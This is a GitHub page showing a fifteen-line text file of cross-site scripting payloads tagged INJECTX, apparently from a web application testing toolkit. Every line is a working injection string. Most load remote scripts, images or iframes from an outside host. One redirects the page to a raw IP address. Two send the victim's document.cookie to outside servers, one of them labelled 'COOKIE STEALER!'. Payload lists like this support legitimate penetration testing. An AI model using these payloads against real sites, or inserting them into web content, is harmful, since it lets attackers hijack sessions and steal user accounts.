-
Notifications
You must be signed in to change notification settings - Fork 63
/
xss_remote_payloads-https.txt
15 lines (15 loc) · 1.82 KB
/
xss_remote_payloads-https.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<img src=https://crowdshield.com/.testing/xss.png onerror=prompt(13) onload=prompt(14) onmouseover=prompt(15)>//INJECTX REMOTE
<iframe src="https://crowdshield.com/.testing/xss_vuln.html"></iframe>//INJECTX
<script src="https://crowdshield.com/.testing/xss.js?script_src=1"></script>//INJECTX
<img src="https://crowdshield.com/.testing/xss.png?img_src=2 onerror=prompt(16) onload=prompt(17) onmouseover=prompt(18)"></img>//INJECTX
<iframe src="https://crowdshield.com/.testing/iframe_injection.php?iframe_src=3" height="0" width="0"></iframe>//INJECTX
<iframe src="https://crowdshield.com/.testing/iframe_injection.php?iframe_src=4" height="100%" width="100%"></iframe>//INJECTX
<img src="https://crowdshield.com/.testing/xss.png?img_src_onerror_prompt" onerror=prompt(19) onload=prompt(20) onmouseover=prompt(21)>//INJECTX
<img src="https://crowdshield.com/.testing/xss.png?img_src_onerror_prompt" onerror=window.location("http://135.23.158.130/.testing/xss.html");>//INJECTX
<script>location.href='http://xerosecurity.com/.testing/iframe_injection.php?'+document.cookie;</script>//INJECTX
<script src="https://crowdshield.com/.testing/xss.js?script_src=1"></script>//INJECTX
</script><script src="https://crowdshield.com/.testing/xss.js?script_src=1">//INJECTX
<iframe src=https://crowdshield.com/.testing/xss_vuln.html onload=prompt(22) onmouseover=alert(23) onerror=prompt(24)><!--//*INJECTX
</textarea><iframe src=https://crowdshield.com/.testing/xss_vuln.html onload=prompt(25) onmouseover=alert(26) onerror=prompt(27)><!--//*INJECTX
<font color=red><h1>@INJECTX<iframe src=https://crowdshield.com/.testing/xss_vuln.html height=100% width=100% onload=prompt(28) onmouseover=alert(29) onerror=prompt(30)>
<a onclick="javascript:document.location='https://crowdshield.com/.testing/iframe_injection.php?cookie='+document.cookie;">INJECTX COOKIE STEALER!</a>